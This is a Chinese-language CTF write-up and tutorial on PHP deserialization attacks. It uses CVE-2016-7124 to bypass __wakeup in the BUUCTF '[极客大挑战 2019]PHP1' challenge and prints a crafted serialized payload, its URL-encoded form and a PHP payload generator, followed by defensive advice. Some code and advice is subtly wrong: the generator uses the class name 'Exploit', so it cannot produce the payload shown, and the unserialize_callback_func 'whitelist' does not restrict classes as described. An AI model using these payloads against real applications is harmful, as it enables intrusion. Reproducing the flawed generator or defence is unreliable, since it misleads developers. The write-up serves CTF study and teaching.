PHP反序列化漏洞实战:CVE-2016-7124绕过机制深度解析
在CTF竞赛和实际渗透测试中,PHP反序列化漏洞一直是高频考点。这类漏洞往往能直接导致敏感信息泄露甚至远程代码执行。本文将从一个典型CTF题目入手,剖析如何利用CVE-2016-7124绕过__wakeup魔术方法的防御机制,并构建可直接复用的攻击payload。
1. 漏洞背景与核心原理
PHP反序列化漏洞的本质在于程序在反序列化用户可控数据时,未对输入进行充分验证,导致攻击者能够操控对象属性甚至执行恶意代码。其中,魔术方法在特定条件下自动触发的特性常被利用:
class VulnerableClass { public function __wakeup() { // 反序列化后自动执行 } public function __destruct() { // 对象销毁时自动执行 } }关键漏洞点在于:
__wakeup通常用于反序列化后的初始化操作__destruct在脚本结束时自动触发,常成为攻击入口- CVE-2016-7124允许通过修改对象属性数量绕过
__wakeup
注意:该漏洞影响PHP5 < 5.6.25和PHP7 < 7.0.10版本,在后续版本中已被修复
2. 靶场环境分析
以BUUCTF的[极客大挑战 2019]PHP1为例,关键代码结构如下:
class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; // 安全机制 } function __destruct(){ if ($this->password != 100) { die("Access denied"); } if ($this->username === 'admin') { global $flag; echo $flag; // 目标输出点 } } }攻击路径分析:
| 步骤 | 目标 | 挑战 |
|---|---|---|
| 1 | 控制$username | __wakeup会重置值 |
| 2 | 设置$password=100 | 避免被die中断 |
| 3 | 保持$username=admin | 需绕过__wakeup |
3. 绕过__wakeup的技术实现
CVE-2016-7124的绕过原理是:当序列化字符串中声明的属性数量大于实际数量时,__wakeup将不会执行。具体操作:
- 首先生建合法对象:
$obj = new Name('admin', '100'); echo serialize($obj); // 输出:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}- 关键修改点:
- 将属性计数从2改为3或更大
- 处理private变量的不可见字符(%00)
修正后的payload:
O:4:"Name":3:{ s:14:"%00Name%00username";s:5:"admin"; s:14:"%00Name%00password";s:3:"100"; }长度计算陷阱:
%00Name%00username实际长度为14(含2个NULL字节)- 必须严格匹配字符串长度声明,否则会导致反序列化失败
4. 完整攻击链构建
实战中需要处理URL编码问题,最终GET参数应为:
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D自动化生成脚本:
<?php class Exploit { private $username = 'admin'; private $password = '100'; public function generate() { $payload = serialize($this); $payload = str_replace('O:4', 'O:+4', $payload); // 处理符号 $payload = str_replace(':2:', ':3:', $payload); // 修改属性计数 return urlencode($payload); } } echo (new Exploit())->generate();5. 防御方案与最佳实践
针对此类漏洞,建议采取多层防护:
输入验证
- 使用
json_decode替代unserialize - 实现严格的白名单校验
- 使用
运行时防护
ini_set('unserialize_callback_func', 'serialize_check'); function serialize_check($classname) { if ($classname !== 'AllowedClass') { die("Invalid class"); } }- 架构层面
- 使用PHP 7.4+的
__serialize/__unserialize方法 - 定期更新PHP版本修复已知漏洞
- 使用PHP 7.4+的
在真实环境中,我曾遇到过一个CMS系统因为未过滤用户输入的序列化数据,导致攻击者能够通过精心构造的payload获取管理员会话。事后分析发现,开发者在实现"记住我"功能时直接反序列化了cookie值,这个教训深刻说明了输入验证的重要性。